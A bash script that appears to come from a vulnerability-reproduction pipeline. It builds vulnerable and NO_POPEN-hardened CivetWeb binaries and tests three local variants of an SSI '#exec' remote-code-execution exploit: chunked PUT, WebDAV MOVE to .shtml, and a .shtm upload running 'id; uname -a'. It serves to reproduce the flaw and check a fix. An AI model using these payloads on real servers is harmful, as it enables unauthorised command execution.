#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VULN_DIR="$ROOT/vuln_variant"
ARTIFACTS="$VULN_DIR/artifacts"
mkdir -p "$LOGS"
mkdir -p "$ARTIFACTS"

exec > >(tee -a "$LOGS/vuln_variant.log")
exec 2>&1

log() { echo "[VULN_VARIANT] $(date -Iseconds) $*"; }

# Read project cache context
CACHE_CTX="$ROOT/project_cache_context.json"
PROJECT_CACHE_DIR="$ROOT/artifacts/civetweb"
if [ -f "$CACHE_CTX" ]; then
    PROJECT_CACHE_DIR="$(jq -r '.project_cache_dir // empty' "$CACHE_CTX" || true)"
    if [ -z "$PROJECT_CACHE_DIR" ]; then
        PROJECT_CACHE_DIR="$ROOT/artifacts/civetweb"
    fi
fi
REPO="$PROJECT_CACHE_DIR/repo"
VULN_BUILD="$PROJECT_CACHE_DIR/build-vuln"
FIXED_BUILD="$PROJECT_CACHE_DIR/build-fixed"

UPSTREAM_URL="https://github.com/civetweb/civetweb.git"
VULN_COMMIT="3309a6c"

log "Project cache dir: $PROJECT_CACHE_DIR"
log "Repo path: $REPO"

# Ensure repository is present
if [ ! -d "$REPO/.git" ]; then
    log "Cloning civetweb repository..."
    mkdir -p "$PROJECT_CACHE_DIR"
    git clone --depth 100 "$UPSTREAM_URL" "$REPO"
fi
cd "$REPO"
log "Fetching origin..."
git fetch origin || true

VULN_COMMIT_FULL="$(git rev-parse "$VULN_COMMIT")"
log "Vulnerable commit resolved: $VULN_COMMIT_FULL"

export_source() {
    local commit="$1"
    local target="$2"
    rm -rf "$target"
    mkdir -p "$target"
    cd "$target"
    git -C "$REPO" archive --format=tar "$commit" | tar -x
}

build_dir() {
    local src_dir="$1"
    local extra_flags="${2:-}"
    cd "$src_dir"
    make clean 2>/dev/null || true
    if [ -n "$extra_flags" ]; then
        make -j"$(nproc)" WITH_CFLAGS="$extra_flags" 2>&1 | tee build.log
    else
        make -j"$(nproc)" 2>&1 | tee build.log
    fi
    test -x civetweb
}

# Build vulnerable binary if missing
if [ ! -x "$VULN_BUILD/civetweb" ]; then
    log "Building vulnerable binary at $VULN_BUILD"
    export_source "$VULN_COMMIT_FULL" "$VULN_BUILD"
    build_dir "$VULN_BUILD" ""
fi

# Build fixed/control binary (NO_POPEN) if missing
if [ ! -x "$FIXED_BUILD/civetweb" ]; then
    log "Building fixed binary at $FIXED_BUILD"
    export_source "$VULN_COMMIT_FULL" "$FIXED_BUILD"
    build_dir "$FIXED_BUILD" "-DNO_POPEN"
fi

log "Vulnerable binary: $VULN_BUILD/civetweb"
log "Fixed binary: $FIXED_BUILD/civetweb"

# Create a test environment for a single attempt
prepare_test_env() {
    local test_dir="$1"
    local docroot="$test_dir/docroot"
    local passwd="$test_dir/passwd.txt"
    mkdir -p "$docroot"
    local hash
    hash="$(printf '%s' "admin:mydomain.com:password" | md5sum | awk '{print $1}')"
    printf 'admin:mydomain.com:%s\n' "$hash" > "$passwd"
}

# Start a server in the background
start_server() {
    local bin="$1"
    local port="$2"
    local test_dir="$3"
    local extra_opts="${4:-}"
    local logfile="$5"
    "$bin" -listening_ports "$port" \
        -document_root "$test_dir/docroot" \
        -put_delete_auth_file "$test_dir/passwd.txt" \
        -authentication_domain mydomain.com \
        $extra_opts \
        > "$logfile" 2>&1 &
    echo $!
}

# Wait for server health
wait_healthy() {
    local port="$1"
    local i
    for i in $(seq 1 30); do
        if curl -s -o /dev/null -w "%{http_code}" "http://127.0.0.1:$port" 2>/dev/null | grep -q '^200$'; then
            return 0
        fi
        sleep 0.2
    done
    return 1
}

# Kill a server cleanly
stop_server() {
    local pid="$1"
    kill "$pid" 2>/dev/null || true
    wait "$pid" 2>/dev/null || true
}

# Test variant 1: chunked PUT of .shtml
# Returns 0 if RCE observed, 1 otherwise
run_variant_chunked() {
    local bin="$1"
    local port="$2"
    local role="$3"
    local test_dir="$ARTIFACTS/${role}-chunked"
    local out_dir="$test_dir"
    mkdir -p "$out_dir"
    prepare_test_env "$test_dir"

    local pid
    pid="$(start_server "$bin" "$port" "$test_dir" "" "$out_dir/server.log")"
    if ! wait_healthy "$port"; then
        log "$role chunked: server not healthy"
        stop_server "$pid"
        return 1
    fi

    curl -s --digest -u admin:password -X PUT \
        -H "Transfer-Encoding: chunked" \
        --data-binary '<!--#exec "id; uname -a" -->' \
        "http://127.0.0.1:$port/pwn.shtml" \
        -o "$out_dir/put_body.txt" -D "$out_dir/put_headers.txt" \
        2> "$out_dir/put_stderr.txt" || true

    curl -s --digest -u admin:password \
        "http://127.0.0.1:$port/pwn.shtml" \
        -o "$out_dir/get_body.txt" -D "$out_dir/get_headers.txt" \
        2> "$out_dir/get_stderr.txt" || true

    stop_server "$pid"

    if [ -f "$out_dir/get_body.txt" ] \
       && grep -q "uid=" "$out_dir/get_body.txt" \
       && grep -q "Linux" "$out_dir/get_body.txt"; then
        log "$role chunked: RCE observed"
        return 0
    fi
    log "$role chunked: no RCE observed"
    return 1
}

# Test variant 2: WebDAV MOVE .txt -> .shtml
run_variant_webdav_move() {
    local bin="$1"
    local port="$2"
    local role="$3"
    local test_dir="$ARTIFACTS/${role}-webdav"
    local out_dir="$test_dir"
    mkdir -p "$out_dir"
    prepare_test_env "$test_dir"

    local pid
    pid="$(start_server "$bin" "$port" "$test_dir" "-enable_webdav yes" "$out_dir/server.log")"
    if ! wait_healthy "$port"; then
        log "$role webdav move: server not healthy"
        stop_server "$pid"
        return 1
    fi

    curl -s --digest -u admin:password -X PUT \
        --data-binary '<!--#exec "id; uname -a" -->' \
        "http://127.0.0.1:$port/pwn.txt" \
        -o "$out_dir/put_body.txt" -D "$out_dir/put_headers.txt" \
        2> "$out_dir/put_stderr.txt" || true

    curl -s --digest -u admin:password -X MOVE \
        -H "Destination: /pwn.shtml" \
        "http://127.0.0.1:$port/pwn.txt" \
        -o "$out_dir/move_body.txt" -D "$out_dir/move_headers.txt" \
        2> "$out_dir/move_stderr.txt" || true

    curl -s --digest -u admin:password \
        "http://127.0.0.1:$port/pwn.shtml" \
        -o "$out_dir/get_body.txt" -D "$out_dir/get_headers.txt" \
        2> "$out_dir/get_stderr.txt" || true

    stop_server "$pid"

    if [ -f "$out_dir/get_body.txt" ] \
       && grep -q "uid=" "$out_dir/get_body.txt" \
       && grep -q "Linux" "$out_dir/get_body.txt"; then
        log "$role webdav move: RCE observed"
        return 0
    fi
    log "$role webdav move: no RCE observed"
    return 1
}

# Test variant 3: .shtm extension
run_variant_shtm() {
    local bin="$1"
    local port="$2"
    local role="$3"
    local test_dir="$ARTIFACTS/${role}-shtm"
    local out_dir="$test_dir"
    mkdir -p "$out_dir"
    prepare_test_env "$test_dir"

    local pid
    pid="$(start_server "$bin" "$port" "$test_dir" "" "$out_dir/server.log")"
    if ! wait_healthy "$port"; then
        log "$role shtm: server not healthy"
        stop_server "$pid"
        return 1
    fi

    curl -s --digest -u admin:password -X PUT \
        --data-binary '<!--#exec "id; uname -a" -->' \
        "http://127.0.0.1:$port/pwn.shtm" \
        -o "$out_dir/put_body.txt" -D "$out_dir/put_headers.txt" \
        2> "$out_dir/put_stderr.txt" || true

    curl -s --digest -u admin:password \
        "http://127.0.0.1:$port/pwn.shtm" \
        -o "$out_dir/get_body.txt" -D "$out_dir/get_headers.txt" \
        2> "$out_dir/get_stderr.txt" || true

    stop_server "$pid"

    if [ -f "$out_dir/get_body.txt" ] \
       && grep -q "uid=" "$out_dir/get_body.txt" \
       && grep -q "Linux" "$out_dir/get_body.txt"; then
        log "$role shtm: RCE observed"
        return 0
    fi
    log "$role shtm: no RCE observed"
    return 1
}

# Run all variants on both vulnerable and fixed binaries
vuln_chunked=0
vuln_webdav=0
vuln_shtm=0
fixed_chunked=0
fixed_webdav=0
fixed_shtm=0

log "=== Vulnerable binary tests ==="
if run_variant_chunked "$VULN_BUILD/civetweb" 8100 "vulnerable"; then
    vuln_chunked=1
fi
if run_variant_webdav_move "$VULN_BUILD/civetweb" 8101 "vulnerable"; then
    vuln_webdav=1
fi
if run_variant_shtm "$VULN_BUILD/civetweb" 8102 "vulnerable"; then
    vuln_shtm=1
fi

log "=== Fixed binary (NO_POPEN) tests ==="
if run_variant_chunked "$FIXED_BUILD/civetweb" 8103 "fixed"; then
    fixed_chunked=1
fi
if run_variant_webdav_move "$FIXED_BUILD/civetweb" 8104 "fixed"; then
    fixed_webdav=1
fi
if run_variant_shtm "$FIXED_BUILD/civetweb" 8105 "fixed"; then
    fixed_shtm=1
fi

log "Results:"
log "  vulnerable chunked PUT .shtml RCE: $vuln_chunked"
log "  vulnerable WebDAV MOVE .shtml RCE: $vuln_webdav"
log "  vulnerable PUT .shtm RCE: $vuln_shtm"
log "  fixed chunked PUT .shtml RCE: $fixed_chunked"
log "  fixed WebDAV MOVE .shtml RCE: $fixed_webdav"
log "  fixed PUT .shtm RCE: $fixed_shtm"

# Determine overall outcome
if [ "$vuln_chunked" -eq 1 ] || [ "$vuln_webdav" -eq 1 ] || [ "$vuln_shtm" -eq 1 ]; then
    VARIANT_REPRODUCED=true
else
    VARIANT_REPRODUCED=false
fi

if [ "$fixed_chunked" -eq 1 ] || [ "$fixed_webdav" -eq 1 ] || [ "$fixed_shtm" -eq 1 ]; then
    BYPASS=true
else
    BYPASS=false
fi

log "Variant reproduced on vulnerable version: $VARIANT_REPRODUCED"
log "Variant reproduced on fixed version (bypass): $BYPASS"

# Write runtime manifest
jq -n \
    --arg variant_summary "chunked PUT, WebDAV MOVE, and .shtm extension as alternate triggers for CivetWeb SSI #exec RCE" \
    --argjson vuln_chunked "$vuln_chunked" \
    --argjson vuln_webdav "$vuln_webdav" \
    --argjson vuln_shtm "$vuln_shtm" \
    --argjson fixed_chunked "$fixed_chunked" \
    --argjson fixed_webdav "$fixed_webdav" \
    --argjson fixed_shtm "$fixed_shtm" \
    --argjson variant_reproduced "$VARIANT_REPRODUCED" \
    --argjson bypass "$BYPASS" \
    '{
        variant_summary: $variant_summary,
        vulnerable: {
            chunked_put_shtml: $vuln_chunked,
            webdav_move_shtml: $vuln_webdav,
            put_shtm: $vuln_shtm
        },
        fixed: {
            chunked_put_shtml: $fixed_chunked,
            webdav_move_shtml: $fixed_webdav,
            put_shtm: $fixed_shtm
        },
        variant_reproduced_on_vulnerable: $variant_reproduced,
        bypass_on_fixed: $bypass,
        runtime_stack: ["civetweb"],
        proof_artifacts: [
            "logs/vuln_variant.log",
            "vuln_variant/artifacts/vulnerable-chunked/get_body.txt",
            "vuln_variant/artifacts/vulnerable-chunked/get_headers.txt",
            "vuln_variant/artifacts/vulnerable-webdav/get_body.txt",
            "vuln_variant/artifacts/vulnerable-webdav/get_headers.txt",
            "vuln_variant/artifacts/vulnerable-shtm/get_body.txt",
            "vuln_variant/artifacts/vulnerable-shtm/get_headers.txt",
            "vuln_variant/artifacts/fixed-chunked/get_body.txt",
            "vuln_variant/artifacts/fixed-chunked/get_headers.txt",
            "vuln_variant/artifacts/fixed-webdav/get_body.txt",
            "vuln_variant/artifacts/fixed-webdav/get_headers.txt",
            "vuln_variant/artifacts/fixed-shtm/get_body.txt",
            "vuln_variant/artifacts/fixed-shtm/get_headers.txt"
        ]
    }' > "$VULN_DIR/runtime_manifest.json"

log "Wrote runtime manifest: $VULN_DIR/runtime_manifest.json"

if [ "$BYPASS" = true ]; then
    log "BYPASS confirmed: variant works on fixed version."
    exit 0
else
    log "No bypass confirmed: variants only work on vulnerable version or none reproduced."
    exit 1
fi
